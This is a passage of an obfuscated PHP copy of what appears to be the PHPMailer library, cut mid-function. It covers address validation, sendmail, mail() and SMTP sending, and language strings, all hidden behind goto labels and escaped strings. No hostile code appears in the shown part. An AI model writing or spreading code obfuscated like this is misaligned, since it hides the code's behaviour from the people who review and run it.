goto nsImy;
}
return false;
nsImy:
switch ($d_QrI) {
case "\160\143\x72\x65":
case "\x70\x63\162\145\x38":
return (bool) preg_match("\57\136\x28\77\x21\50\77\76\x28\x3f\x31\x29\x22\77\50\x3f\76\134\134\x5b\40\x2d\x7e\135\174\133\x5e\x22\135\x29\42\x3f\x28\77\61\51\51\x7b\62\x35\65\54\x7d\51\50\x3f\x21\50\77\x3e\x28\x3f\x31\51\x22\x3f\50\77\76\134\134\x5b\x20\55\x7e\x5d\x7c\133\136\x22\x5d\x29\42\77\50\x3f\x31\51\51\173\x36\65\x2c\175\x40\x29" . "\x28\x28\77\76\x28\77\76\50\77\76\50\x28\77\76\50\77\x3e\50\77\76\134\170\x30\104\x5c\x78\60\101\x29\77\133\x5c\x74\40\x5d\x29\x2b\174\x28\x3f\76\133\134\x74\40\x5d\x2a\134\170\x30\104\134\170\x30\101\51\x3f\133\134\x74\40\x5d\x2b\x29\x3f\51\x28\x5c\50\50\77\x3e\50\77\62\x29" . "\50\77\76\x5b\x5c\x78\x30\61\55\x5c\x78\x30\x38\134\170\x30\x42\134\x78\60\x43\134\x78\60\x45\55\x27\x2a\55\134\x5b\x5c\x5d\55\134\170\x37\106\x5d\x7c\134\x5c\133\134\x78\60\60\55\134\170\x37\x46\x5d\174\x28\77\x33\51\x29\51\52\x28\x3f\x32\51\x5c\51\51\51\53\50\x3f\x32\x29\51\174\50\x3f\x32\x29\x29\77\51" . "\50\133\41\43\x2d\x27\52\53\x5c\57\55\x39\75\x3f\x5e\55\x7e\55\x5d\x2b\174\42\50\x3f\x3e\x28\x3f\x32\x29\50\x3f\76\x5b\x5c\170\60\61\55\134\170\x30\70\134\170\x30\x42\134\170\60\103\x5c\170\60\105\55\x21\x23\x2d\134\133\x5c\135\x2d\134\x78\67\106\135\x7c\134\134\133\134\x78\60\x30\x2d\134\170\x37\106\x5d\51\x29\52" . "\x28\x3f\x32\x29\42\51\50\77\76\x28\x3f\x31\51\134\56\50\x3f\61\x29\x28\x3f\x34\x29\51\52\50\x3f\61\51\x40\x28\77\x21\50\x3f\61\51\133\x61\x2d\172\x30\55\71\x2d\x5d\173\x36\x34\x2c\x7d\x29\x28\77\x31\x29\x28\77\76\50\x5b\x61\55\172\x30\x2d\71\x5d\50\77\76\x5b\x61\55\172\60\55\71\55\x5d\52\133\x61\x2d\x7a\x30\55\x39\135\51\x3f\51" . "\50\77\76\x28\x3f\x31\51\134\56\50\x3f\41\50\77\x31\x29\133\141\x2d\172\x30\55\71\55\x5d\x7b\66\64\54\175\x29\50\77\x31\51\50\x3f\65\51\x29\x7b\x30\54\x31\x32\66\175\174\134\x5b\50\x3f\x3a\x28\77\x3e\111\120\166\66\72\x28\x3f\x3e\50\x5b\x61\x2d\x66\60\x2d\x39\x5d\x7b\x31\54\x34\x7d\51\50\77\76\x3a\x28\x3f\x36\x29\51\173\67\175" . "\x7c\x28\77\x21\50\77\72\x2e\x2a\x5b\141\55\x66\60\55\71\x5d\x5b\72\134\x5d\x5d\51\173\x38\x2c\x7d\51\50\50\x3f\66\x29\x28\x3f\76\72\50\x3f\66\51\x29\x7b\x30\x2c\66\175\x29\x3f\72\72\x28\77\67\51\77\x29\51\x7c\50\77\76\x28\x3f\76\111\x50\166\x36\72\50\x3f\76\50\77\x36\x29\x28\77\76\x3a\x28\x3f\66\51\x29\173\x35\175\x3a" . "\x7c\50\x3f\x21\x28\x3f\72\x2e\x2a\x5b\141\55\x66\60\x2d\71\135\72\51\x7b\x36\x2c\x7d\x29\50\77\x38\51\x3f\72\72\50\77\x3e\50\x28\77\x36\x29\x28\x3f\x3e\x3a\50\x3f\66\51\x29\173\60\54\64\175\x29\72\x29\x3f\51\x29\x3f\x28\x32\65\133\x30\55\65\x5d\x7c\62\x5b\60\55\64\x5d\x5b\60\x2d\71\135\x7c\x31\x5b\x30\55\x39\135\x7b\x32\x7d" . "\x7c\133\x31\x2d\x39\135\x3f\133\60\55\x39\135\x29\50\x3f\x3e\134\56\50\x3f\x39\x29\x29\173\x33\175\x29\x29\x5c\x5d\51\50\x3f\61\x29\x24\x2f\151\x73\x44", $w1_0x);
case "\x68\164\x6d\x6c\x35":
return (bool) preg_match("\57\136\133\141\x2d\172\x41\55\x5a\x30\55\71\x2e\41\x23\44\x25\x26\x27\x2a\x2b\134\x2f\x3d\x3f\x5e\137\x60\173\174\175\x7e\x2d\x5d\x2b\x40\x5b\x61\55\172\101\x2d\132\60\x2d\71\135\50\77\72\x5b\x61\x2d\x7a\x41\x2d\132\x30\55\71\55\x5d\x7b\60\x2c\66\61\175" . "\133\141\55\172\x41\x2d\132\x30\x2d\71\135\51\77\x28\77\72\134\x2e\x5b\141\x2d\x7a\101\55\x5a\x30\55\x39\135\x28\77\x3a\x5b\x61\x2d\x7a\x41\x2d\132\x30\x2d\x39\x2d\135\173\x30\54\x36\61\175\x5b\141\55\172\x41\55\x5a\x30\55\71\135\51\x3f\51\52\44\57\163\x44", $w1_0x);
case "\160\150\x70":
default:
return (bool) filter_var($w1_0x, FILTER_VALIDATE_EMAIL);
}
y_klO:
jgCZL:
}
public static function idnSupported()
{
return function_exists("\151\x64\156\137\164\157\137\141\163\143\151\151") and function_exists("\x6d\x62\x5f\143\157\x6e\166\x65\x72\164\x5f\145\x6e\143\x6f\144\x69\156\x67");
}
public function punyencodeAddress($w1_0x)
{
$lLiqT = strrpos($w1_0x, "\x40");
if (!(static::idnSupported() and !empty($this->CharSet) and false !== $lLiqT)) {
goto Ixmzu;
}
$facfs = substr($w1_0x, ++$lLiqT);
if (!($this->has8bitChars($facfs) and @mb_check_encoding($facfs, $this->CharSet))) {
goto ctx_J;
}
$facfs = mb_convert_encoding($facfs, "\125\x54\106\55\x38", $this->CharSet);
$tAScD = 0;
$fk236 = idn_to_ascii($facfs, $tAScD, INTL_IDNA_VARIANT_UTS46);
if (!(false !== $fk236)) {
goto UMXJZ;
}
return substr($w1_0x, 0, $lLiqT) . $fk236;
UMXJZ:
ctx_J:
Ixmzu:
return $w1_0x;
}
public function send()
{
try {
if ($this->preSend()) {
goto Hfluj;
}
return false;
Hfluj:
return $this->postSend();
} catch (Exception $CsLop) {
$this->mailHeader = '';
$this->setError($CsLop->getMessage());
if (!$this->exceptions) {
goto cWRLY;
}
throw $CsLop;
cWRLY:
return false;
}
}
public function preSend()
{
if ("\x73\x6d\x74\160" == $this->Mailer or "\x6d\x61\x69\x6c" == $this->Mailer and stripos(PHP_OS, "\x57\111\x4e") === 0) {
goto JUUsS;
}
static::setLE(PHP_EOL);
goto rkaS4;
JUUsS:
static::setLE("\xd\12");
rkaS4:
if (!(ini_get("\155\x61\151\x6c\56\x61\144\144\137\x78\x5f\x68\x65\141\144\x65\x72") == 1 and "\155\x61\151\x6c" == $this->Mailer and stripos(PHP_OS, "\x57\x49\x4e") === 0 and (version_compare(PHP_VERSION, "\67\x2e\x30\x2e\x30", "\x3e\x3d") and version_compare(PHP_VERSION, "\67\56\x30\x2e\x31\x37", "\74") or version_compare(PHP_VERSION, "\x37\x2e\61\x2e\60", "\76\75") and version_compare(PHP_VERSION, "\67\56\x31\x2e\63", "\x3c")))) {
goto rQSgx;
}
trigger_error("\131\x6f\165\x72\40\x76\145\x72\x73\x69\157\156\40\157\x66\40\120\x48\x50\40\x69\x73\40\141\146\146\x65\143\164\145\144\40\142\171\40\x61\x20\x62\165\147\x20\164\150\141\164\40\155\x61\171\x20\162\x65\163\x75\154\x74\40\x69\156\40\143\x6f\162\x72\x75\160\x74\145\x64\x20\x6d\x65\163\163\141\147\145\x73\x2e" . "\x20\124\157\x20\x66\151\x78\40\151\x74\x2c\40\163\167\151\164\143\x68\40\x74\x6f\40\163\x65\x6e\x64\151\156\147\x20\x75\163\151\156\x67\40\123\x4d\x54\x50\54\40\144\151\163\141\142\x6c\x65\40\x74\150\x65\x20\155\x61\151\154\56\141\x64\x64\x5f\170\137\150\x65\141\x64\x65\x72\40\x6f\160\164\x69\x6f\x6e\x20\151\x6e" . "\40\x79\x6f\x75\162\40\x70\x68\160\x2e\151\x6e\151\54\40\x73\x77\x69\164\x63\x68\x20\164\x6f\x20\115\141\x63\117\x53\x20\157\x72\x20\114\x69\x6e\x75\x78\54\x20\157\162\x20\165\x70\147\162\x61\x64\145\40\x79\157\165\162\40\x50\110\120\x20\x74\157\x20\x76\x65\x72\163\151\x6f\x6e\x20\67\x2e\x30\56\61\x37\x2b\x20\157\x72\x20\x37\56\61\x2e\x33\53\x2e", E_USER_WARNING);
rQSgx:
try {
$this->error_count = 0;
$this->mailHeader = '';
foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $s2iYx) {
$s2iYx[1] = $this->punyencodeAddress($s2iYx[1]);
call_user_func_array([$this, "\141\144\x64\x41\156\x41\x64\144\x72\145\x73\x73"], $s2iYx);
y27D4:
}
UdzrV:
if (!(count($this->to) + count($this->cc) + count($this->bcc) < 1)) {
goto NjOR7;
}
throw new Exception($this->lang("\x70\162\x6f\x76\x69\144\x65\137\141\144\x64\162\145\x73\163"), self::STOP_CRITICAL);
NjOR7:
foreach (["\106\x72\x6f\155", "\123\x65\156\x64\145\162", "\103\x6f\156\x66\x69\162\155\x52\145\141\x64\x69\156\147\124\x6f"] as $wDNeR) {
$this->{$wDNeR} = trim($this->{$wDNeR});
if (!empty($this->{$wDNeR})) {
goto BvRz6;
}
goto iqa6A;
BvRz6:
$this->{$wDNeR} = $this->punyencodeAddress($this->{$wDNeR});
if (static::validateAddress($this->{$wDNeR})) {
goto dkC5i;
}
$puwAg = sprintf("\x25\x73\40\50\45\163\x29\x3a\x20\45\x73", $this->lang("\151\156\166\141\x6c\x69\144\137\141\144\144\162\145\163\x73"), $wDNeR, $this->{$wDNeR});
$this->setError($puwAg);
$this->edebug($puwAg);
if (!$this->exceptions) {
goto e2tRf;
}
throw new Exception($puwAg);
e2tRf:
return false;
dkC5i:
iqa6A:
}
bsFgE:
if (!$this->alternativeExists()) {
goto p7jWd;
}
$this->ContentType = static::CONTENT_TYPE_MULTIPART_ALTERNATIVE;
p7jWd:
$this->setMessageType();
if (!(!$this->AllowEmpty and empty($this->Body))) {
goto utPuV;
}
throw new Exception($this->lang("\x65\x6d\x70\x74\x79\137\x6d\x65\163\x73\141\147\145"), self::STOP_CRITICAL);
utPuV:
$this->Subject = trim($this->Subject);
$this->MIMEHeader = '';
$this->MIMEBody = $this->createBody();
$ltkTQ = $this->MIMEHeader;
$this->MIMEHeader = $this->createHeader();
$this->MIMEHeader .= $ltkTQ;
if (!("\x6d\141\151\x6c" == $this->Mailer)) {
goto sEL8z;
}
if (count($this->to) > 0) {
goto zbjxy;
}
$this->mailHeader .= $this->headerLine("\124\157", "\165\156\x64\151\x73\143\154\x6f\163\x65\144\55\162\x65\x63\151\160\151\x65\x6e\164\x73\x3a\x3b");
goto bNvVA;
zbjxy:
$this->mailHeader .= $this->addrAppend("\124\x6f", $this->to);
bNvVA:
$this->mailHeader .= $this->headerLine("\x53\x75\142\152\145\143\x74", $this->encodeHeader($this->secureHeader($this->Subject)));
sEL8z:
if (!(!empty($this->DKIM_domain) and !empty($this->DKIM_selector) and (!empty($this->DKIM_private_string) or !empty($this->DKIM_private) and static::isPermittedPath($this->DKIM_private) and file_exists($this->DKIM_private)))) {
goto FN1pb;
}
$VTJ49 = $this->DKIM_Add($this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody);
$this->MIMEHeader = rtrim($this->MIMEHeader, "\15\12\x20") . static::$LE . static::normalizeBreaks($VTJ49) . static::$LE;
FN1pb:
return true;
} catch (Exception $CsLop) {
$this->setError($CsLop->getMessage());
if (!$this->exceptions) {
goto xcnXE;
}
throw $CsLop;
xcnXE:
return false;
}
}
public function postSend()
{
try {
switch ($this->Mailer) {
case "\x73\x65\x6e\144\x6d\141\151\x6c":
case "\x71\x6d\x61\x69\x6c":
return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
case "\163\x6d\x74\160":
return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
case "\155\x61\x69\154":
return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
default:
$RvUuZ = $this->Mailer . "\123\x65\x6e\x64";
if (!method_exists($this, $RvUuZ)) {
goto FLJEY;
}
return $this->{$RvUuZ}($this->MIMEHeader, $this->MIMEBody);
FLJEY:
return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
}
Wr69u:
ymCP0:
} catch (Exception $CsLop) {
$this->setError($CsLop->getMessage());
$this->edebug($CsLop->getMessage());
if (!$this->exceptions) {
goto ciKz1;
}
throw $CsLop;
ciKz1:
}
return false;
}
protected function sendmailSend($y_KXY, $UlmlF)
{
if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
goto P1OsP;
}
if ("\x71\x6d\141\x69\x6c" == $this->Mailer) {
goto fygPq;
}
$ZHuaw = "\x25\163\x20\x2d\157\x69\x20\55\x74";
goto Zdk1l;
fygPq:
$ZHuaw = "\45\163";
Zdk1l:
goto FqJqv;
P1OsP:
if ("\x71\x6d\x61\x69\x6c" == $this->Mailer) {
goto i_hwh;
}
$ZHuaw = "\45\163\40\x2d\x6f\151\x20\55\x66\45\x73\40\x2d\164";
goto BCASs;
i_hwh:
$ZHuaw = "\45\x73\x20\55\x66\x25\163";
BCASs:
FqJqv:
$DNKlZ = sprintf($ZHuaw, escapeshellcmd($this->Sendmail), $this->Sender);
if ($this->SingleTo) {
goto E9IWJ;
}
$kDC1N = @popen($DNKlZ, "\x77");
if ($kDC1N) {
goto sX2NF;
}
throw new Exception($this->lang("\145\170\145\143\x75\x74\145") . $this->Sendmail, self::STOP_CRITICAL);
sX2NF:
fwrite($kDC1N, $y_KXY);
fwrite($kDC1N, $UlmlF);
$HYIC3 = pclose($kDC1N);
$this->doCallback($HYIC3 == 0, $this->to, $this->cc, $this->bcc, $this->Subject, $UlmlF, $this->From, []);
if (!(0 !== $HYIC3)) {
goto XVRk4;
}
throw new Exception($this->lang("\145\x78\x65\143\x75\x74\145") . $this->Sendmail, self::STOP_CRITICAL);
XVRk4:
goto oHlS7;
E9IWJ:
foreach ($this->SingleToArray as $DNZpI) {
$kDC1N = @popen($DNKlZ, "\x77");
if ($kDC1N) {
goto QL8EW;
}
throw new Exception($this->lang("\145\170\145\x63\x75\164\145") . $this->Sendmail, self::STOP_CRITICAL);
QL8EW:
fwrite($kDC1N, "\x54\x6f\x3a\x20" . $DNZpI . "\12");
fwrite($kDC1N, $y_KXY);
fwrite($kDC1N, $UlmlF);
$HYIC3 = pclose($kDC1N);
$this->doCallback($HYIC3 == 0, [$DNZpI], $this->cc, $this->bcc, $this->Subject, $UlmlF, $this->From, []);
if (!(0 !== $HYIC3)) {
goto f01l2;
}
throw new Exception($this->lang("\145\x78\145\143\x75\164\x65") . $this->Sendmail, self::STOP_CRITICAL);
f01l2:
AzNBV:
}
QuZ8u:
oHlS7:
return true;
}
protected static function isShellSafe($jm30w)
{
if (!(escapeshellcmd($jm30w) !== $jm30w or !in_array(escapeshellarg($jm30w), ["\47{$jm30w}\47", "\x22{$jm30w}\x22"]))) {
goto nE0kh;
}
return false;
nE0kh:
$Z6HTu = strlen($jm30w);
$KJHmb = 0;
kxLKk:
if (!($KJHmb < $Z6HTu)) {
goto ZUm0_;
}
$MSPM2 = $jm30w[$KJHmb];
if (!(!ctype_alnum($MSPM2) && strpos("\100\137\x2d\x2e", $MSPM2) === false)) {
goto bggzy;
}
return false;
bggzy:
WeToF:
++$KJHmb;
goto kxLKk;
ZUm0_:
return true;
}
protected static function isPermittedPath($t1usk)
{
return !preg_match("\43\x5e\x5b\x61\55\172\135\x2b\x3a\x2f\57\43\151", $t1usk);
}
protected function mailSend($y_KXY, $UlmlF)
{
$GpJ9x = [];
foreach ($this->to as $EpIAw) {
$GpJ9x[] = $this->addrFormat($EpIAw);
HUm91:
}
WlgFy:
$g7_oI = implode("\54\x20", $GpJ9x);
$s2iYx = null;
if (!(!empty($this->Sender) and static::validateAddress($this->Sender))) {
goto yWIuA;
}
if (!self::isShellSafe($this->Sender)) {
goto G0gnw;
}
$s2iYx = sprintf("\x2d\x66\45\163", $this->Sender);
G0gnw:
yWIuA:
if (!(!empty($this->Sender) and static::validateAddress($this->Sender))) {
goto kRvXv;
}
$MDRr3 = ini_get("\163\x65\x6e\x64\155\141\151\154\x5f\146\162\x6f\x6d");
ini_set("\x73\x65\x6e\144\155\141\151\x6c\137\x66\162\x6f\155", $this->Sender);
kRvXv:
$HYIC3 = false;
if ($this->SingleTo and count($GpJ9x) > 1) {
goto lNfy4;
}
$HYIC3 = $this->mailPassthru($g7_oI, $this->Subject, $UlmlF, $y_KXY, $s2iYx);
$this->doCallback($HYIC3, $this->to, $this->cc, $this->bcc, $this->Subject, $UlmlF, $this->From, []);
goto diBAI;
lNfy4:
foreach ($GpJ9x as $DNZpI) {
$HYIC3 = $this->mailPassthru($DNZpI, $this->Subject, $UlmlF, $y_KXY, $s2iYx);
$this->doCallback($HYIC3, [$DNZpI], $this->cc, $this->bcc, $this->Subject, $UlmlF, $this->From, []);
UoOKs:
}
Kp2LM:
diBAI:
if (!isset($MDRr3)) {
goto zyHZB;
}
ini_set("\163\145\x6e\144\155\141\x69\x6c\x5f\x66\162\157\155", $MDRr3);
zyHZB:
if ($HYIC3) {
goto BjQYL;
}
throw new Exception($this->lang("\x69\156\x73\x74\141\156\x74\x69\x61\164\145"), self::STOP_CRITICAL);
BjQYL:
return true;
}
public function getSMTPInstance()
{
if (is_object($this->smtp)) {
goto hT39A;
}
$this->smtp = new SMTP();
hT39A:
return $this->smtp;
}
public function setSMTPInstance(SMTP $P5wTz)
{
$this->smtp = $P5wTz;
return $this->smtp;
}
protected function smtpSend($y_KXY, $UlmlF)
{
$h7k31 = [];
if ($this->smtpConnect($this->SMTPOptions)) {
goto xj4Qf;
}
throw new Exception($this->lang("\163\x6d\164\160\137\143\x6f\156\156\145\x63\164\x5f\146\x61\151\x6c\x65\144"), self::STOP_CRITICAL);
xj4Qf:
if ('' == $this->Sender) {
goto Mez00;
}
$ZNZVL = $this->Sender;
goto vChiG;
Mez00:
$ZNZVL = $this->From;
vChiG:
if ($this->smtp->mail($ZNZVL)) {
goto TOwFs;
}
$this->setError($this->lang("\x66\162\157\155\137\146\x61\x69\154\x65\x64") . $ZNZVL . "\x20\x3a\40" . implode("\x2c", $this->smtp->getError()));
throw new Exception($this->ErrorInfo, self::STOP_CRITICAL);
TOwFs:
$Fa3tH = [];
foreach ([$this->to, $this->cc, $this->bcc] as $EDjOQ) {
foreach ($EDjOQ as $g7_oI) {
if (!$this->smtp->recipient($g7_oI[0], $this->dsn)) {
goto Krqt1;
}
$JxyrV = true;
goto TmScf;
Krqt1:
$XLcA5 = $this->smtp->getError();
$h7k31[] = ["\x74\x6f" => $g7_oI[0], "\145\162\x72\x6f\162" => $XLcA5["\144\x65\x74\141\x69\x6c"]];
$JxyrV = false;
TmScf:
$Fa3tH[] = ["\x69\163\163\x65\156\164" => $JxyrV, "\164\157" => $g7_oI[0]];
SpN3W:
}
MaIHE:
cwEc3:
}
rL3qk:
if (!(count($this->all_recipients) > count($h7k31) and !$this->smtp->data($y_KXY . $UlmlF))) {
goto miEoo;
}
throw new Exception($this->lang("\x64\141\x74\x61\137\156\157\x74\x5f\x61\143\x63\145\x70\x74\x65\x64"), self::STOP_CRITICAL);
miEoo:
$t2gPF = $this->smtp->getLastTransactionID();
if ($this->SMTPKeepAlive) {
goto St3Si;
}
$this->smtp->quit();
$this->smtp->close();
goto N0L7X;
St3Si:
$this->smtp->reset();
N0L7X:
foreach ($Fa3tH as $SCnw3) {
$this->doCallback($SCnw3["\151\x73\163\x65\156\x74"], [$SCnw3["\x74\x6f"]], [], [], $this->Subject, $UlmlF, $this->From, ["\x73\155\x74\x70\x5f\x74\162\x61\156\163\141\x63\164\x69\157\156\x5f\x69\x64" => $t2gPF]);
Ad_H0:
}
RiFFn:
if (!(count($h7k31) > 0)) {
goto Sjp89;
}
$lsf1w = '';
foreach ($h7k31 as $hlUaG) {
$lsf1w .= $hlUaG["\x74\x6f"] . "\72\x20" . $hlUaG["\145\x72\x72\x6f\x72"];
z6TRu:
}
pns32:
throw new Exception($this->lang("\x72\145\143\151\160\x69\145\x6e\x74\x73\x5f\x66\x61\151\x6c\145\144") . $lsf1w, self::STOP_CONTINUE);
Sjp89:
return true;
}
public function smtpConnect($p0n3v = null)
{
if (!(null === $this->smtp)) {
goto zmvS2;
}
$this->smtp = $this->getSMTPInstance();
zmvS2:
if (!(null === $p0n3v)) {
goto htUX0;
}
$p0n3v = $this->SMTPOptions;
htUX0:
if (!$this->smtp->connected()) {
goto edV4r;
}
return true;
edV4r:
$this->smtp->setTimeout($this->Timeout);
$this->smtp->setDebugLevel($this->SMTPDebug);
$this->smtp->setDebugOutput($this->Debugoutput);
$this->smtp->setVerp($this->do_verp);
$iSLu_ = explode("\73", $this->Host);
$MInsa = null;
foreach ($iSLu_ as $Ut2Hm) {
$U59rX = [];
if (preg_match("\57\x5e\x28\x28\163\x73\x6c\x7c\x74\154\163\51\x3a\x5c\x2f\134\57\x29\52\x28\x5b\141\55\x7a\x41\x2d\x5a\x30\55\71\x5c\56\55\x5d\52\174\134\133\133\141\55\x66\101\55\x46\60\55\x39\72\135\53\x5c\135\x29\x3a\x3f\50\x5b\60\55\x39\135\52\x29\44\x2f", trim($Ut2Hm), $U59rX)) {
goto za566;
}
static::edebug($this->lang("\x63\x6f\156\x6e\145\143\x74\x5f\150\157\x73\164") . "\x20" . $Ut2Hm);
goto kq1A3;
za566:
if (static::isValidHost($U59rX[3])) {
goto OrlL2;
}
static::edebug($this->lang("\143\x6f\x6e\x6e\x65\143\x74\x5f\150\x6f\x73\x74") . "\40" . $Ut2Hm);
goto kq1A3;
OrlL2:
$PRVwO = '';
$EZFto = $this->SMTPSecure;
$IrCJ6 = "\164\154\x73" == $this->SMTPSecure;
if ("\163\x73\x6c" == $U59rX[2] or '' == $U59rX[2] and "\x73\163\154" == $this->SMTPSecure) {
goto lztFq;
}
if ("\164\x6c\163" == $U59rX[2]) {
goto WhJz4;
}
goto RAl0_;
lztFq:
$PRVwO = "\x73\163\x6c\x3a\57\x2f";
$IrCJ6 = false;
$EZFto = "\x73\163\154";
goto RAl0_;
WhJz4:
$IrCJ6 = true;
$EZFto = "\164\x6c\163";
RAl0_:
$kRP7e = defined("\117\x50\105\116\123\123\114\137\x41\114\107\117\x5f\x53\110\x41\62\65\x36");
if (!("\x74\154\163" === $EZFto or "\163\x73\x6c" === $EZFto)) {
goto e3cFm;
}
if ($kRP7e) {
goto OTooz;
}
throw new Exception($this->lang("\145\x78\164\145\156\163\x69\157\156\x5f\155\151\163\x73\151\156\x67") . "\157\x70\145\156\x73\163\x6c", self::STOP_CRITICAL);
OTooz:
e3cFm:
$S1iUU = $U59rX[3];
$qnls6 = $this->Port;
$sSX2q = (int) $U59rX[4];
if (!($sSX2q > 0 and $sSX2q < 65536)) {
goto InCbx;
}
$qnls6 = $sSX2q;
InCbx:
if (!$this->smtp->connect($PRVwO . $S1iUU, $qnls6, $this->Timeout, $p0n3v)) {
goto e2gxd;
}
try {
if ($this->Helo) {
goto Wofjn;
}
$njo9Y = $this->serverHostname();
goto CIWu2;
Wofjn:
$njo9Y = $this->Helo;
CIWu2:
$this->smtp->hello($njo9Y);
if (!($this->SMTPAutoTLS and $kRP7e and "\x73\x73\154" != $EZFto and $this->smtp->getServerExt("\123\124\x41\122\x54\x54\x4c\x53"))) {
goto ezMyu;
}
$IrCJ6 = true;
ezMyu:
if (!$IrCJ6) {
goto oE2B3;
}
if ($this->smtp->startTLS()) {
goto yM2G9;
}
throw new Exception($this->lang("\x63\x6f\x6e\156\145\143\x74\x5f\150\x6f\x73\x74"));
yM2G9:
$this->smtp->hello($njo9Y);
oE2B3:
if (!$this->SMTPAuth) {
goto DylJ8;
}
if ($this->smtp->authenticate($this->Username, $this->Password, $this->AuthType, $this->oauth)) {
goto A_pcO;
}
throw new Exception($this->lang("\x61\165\x74\x68\145\156\164\x69\x63\x61\x74\x65"));
A_pcO:
DylJ8:
return true;
} catch (Exception $CsLop) {
$MInsa = $CsLop;
$this->edebug($CsLop->getMessage());
$this->smtp->quit();
}
e2gxd:
kq1A3:
}
Gypq5:
$this->smtp->close();
if (!($this->exceptions and null !== $MInsa)) {
goto r6U90;
}
throw $MInsa;
r6U90:
return false;
}
public function smtpClose()
{
if (!(null !== $this->smtp)) {
goto Zk2Gs;
}
if (!$this->smtp->connected()) {
goto zj62d;
}
$this->smtp->quit();
$this->smtp->close();
zj62d:
Zk2Gs:
}
public function setLanguage($AEvmd = "\x65\156", $KJIOJ = '')
{
$g1XKM = ["\142\162" => "\160\164\137\x62\x72", "\x63\x7a" => "\x63\x73", "\x64\x6b" => "\x64\x61", "\x6e\157" => "\156\142", "\x73\x65" => "\163\166", "\x72\x73" => "\163\x72", "\164\147" => "\x74\x6c"];
if (!isset($g1XKM[$AEvmd])) {
goto j35dg;
}
$AEvmd = $g1XKM[$AEvmd];
j35dg:
$Y2wIZ = ["\x61\x75\164\150\x65\156\x74\151\143\x61\164\x65" => "\x53\x4d\124\120\40\x45\162\162\x6f\162\72\x20\103\157\165\154\x64\40\156\x6f\x74\40\x61\x75\x74\150\x65\x6e\164\x69\x63\141\164\145\56", "\143\157\x6e\x6e\145\143\x74\137\x68\157\163\x74" => "\x53\115\124\120\x20\x45\162\162\x6f\162\72\x20\103\x6f\x75\x6c\x64\x20\x6e\157\164\x20\143\157\156\156\x65\143\x74\x20\x74\157\40\123\x4d\124\120\40\x68\x6f\163\164\56", "\144\141\x74\141\137\x6e\157\164\137\141\143\143\145\x70\164\x65\144" => "\x53\115\x54\x50\40\105\x72\162\157\162\72\40\x64\x61\x74\x61\x20\156\x6f\164\40\141\x63\143\x65\x70\x74\145\x64\56", "\x65\x6d\160\164\x79\137\155\x65\x73\163\141\147\145" => "\x4d\x65\163\x73\141\147\145\40\142\x6f\144\x79\x20\x65\x6d\x70\x74\x79", "\x65\x6e\143\x6f\x64\151\156\x67" => "\125\156\153\156\x6f\x77\156\40\x65\156\143\157\x64\151\156\x67\72\40", "\x65\x78\145\143\x75\164\x65" => "\x43\157\x75\154\x64\x20\x6e\x6f\x74\x20\x65\170\x65\x63\x75\x74\x65\x3a\x20", "\x66\151\154\145\x5f\x61\143\143\145\x73\x73" => "\x43\157\165\x6c\x64\x20\156\157\x74\x20\x61\143\x63\x65\163\163\x20\x66\x69\x6c\145\72\x20", "\146\151\x6c\145\137\157\160\145\x6e" => "\106\151\154\145\x20\105\x72\x72\x6f\x72\72\x20\103\x6f\165\154\x64\40\156\157\164\40\157\160\145\156\x20\146\x69\154\145\72\40", "\x66\162\157\x6d\x5f\146\141\151\x6c\145\x64" => "\124\150\x65\40\x66\157\x6c\154\157\x77\x69\156\x67\40\106\x72\157\155\40\x61\x64\144\x72\x65\x73\163\40\146\141\151\x6c\145\144\72\x20", "\x69\156\163\x74\x61\x6e\164\x69\x61\164\x65" => "\103\x6f\x75\x6c\144\40\x6e\x6f\164\x20\x69\156\163\x74\x61\x6e\x74\x69\x61\x74\x65\x20\155\x61\x69\x6c\40\x66\x75\156\143\x74\x69\157\156\56", "\x69\156\166\x61\154\151\x64\x5f\141\x64\x64\162\x65\163\163" => "\x49\x6e\x76\141\x6c\x69\x64\40\141\144\144\x72\145\163\x73\x3a\x20", "\155\x61\x69\154\x65\162\x5f\156\157\164\137\x73\x75\x70\x70\x6f\x72\x74\145\x64" => "\x20\155\141\x69\154\145\162\40\x69\163\x20\156\157\x74\40\163\x75\160\160\157\162\164\x65\144\56", "\x70\162\157\166\151\144\x65\x5f\141\144\144\162\x65\163\163" => "\131\157\x75\40\x6d\165\x73\164\40\160\x72\x6f\x76\151\x64\x65\x20\141\164\x20\x6c\x65\141\x73\164\x20\x6f\156\x65\x20\162\x65\143\x69\x70\151\x65\x6e\164\x20\145\x6d\x61\151\x6c\40\x61\x64\144\162\145\x73\163\x2e", "\x72\x65\x63\x69\x70\x69\x65\x6e\x74\163\137\x66\141\x69\154\145\144" => "\123\115\x54\120\x20\105\x72\162\157\162\72\x20\124\150\x65\40\x66\x6f\154\x6c\x6f\167\151\x6e\x67\x20\x72\x65\x63\151\160\x69\145\x6e\x74\x73\x20\x66\141\x69\154\x65\144\72\40", "\163\x69\147\156\151\156\147" => "\123\x69\147\x6e\151\156\x67\40\105\162\162\157\162\72\40", "\x73\155\x74\160\137\143\157\156\x6e\145\x63\x74\137\x66\141\x69\154\145\x64" => "\123\115\124\x50\x20\143\x6f\x6e\156\145\143\x74\50\x29\x20\x66\141\151\x6c\145\x64\x2e", "\163\155\164\x70\137\x65\x72\162\157\162" => "\x53\x4d\x54\x50\40\x73\145\162\x76\x65\x72\x20\145\x72\x72\157\x72\72\x20", "\x76\141\x72\x69\141\x62\x6c\145\137\163\145\164" => "\x43\141\x6e\156\x6f\x74\x20\163\145\164\40\x6f\162\40\x72\145\163\145\164\40\x76\141\x72\x69\141\142\x6c\145\72\x20", "\145\170\164\x65\156\x73\151\x6f\156\x5f\x6d\x69\163\163\x69\156\147" => "\x45\x78\x74\x65\x6e\x73\151\x6f\156\40\x6d\x69\163\163\151\x6e\147\x3a\x20"];
if (!empty($KJIOJ)) {
goto m8OXK;
}
$KJIOJ = dirname(__DIR__) . DIRECTORY_SEPARATOR . "\154\141\156\x67\165\141\x67\145" . DIRECTORY_SEPARATOR;
m8OXK:
if (preg_match("\x2f\136\x5b\x61\55\x7a\x5d\x7b\x32\175\x28\77\x3a\137\133\x61\x2d\x7a\x41\x2d\132\x5d\173\x32\x7d\x29\77\44\x2f", $AEvmd)) {
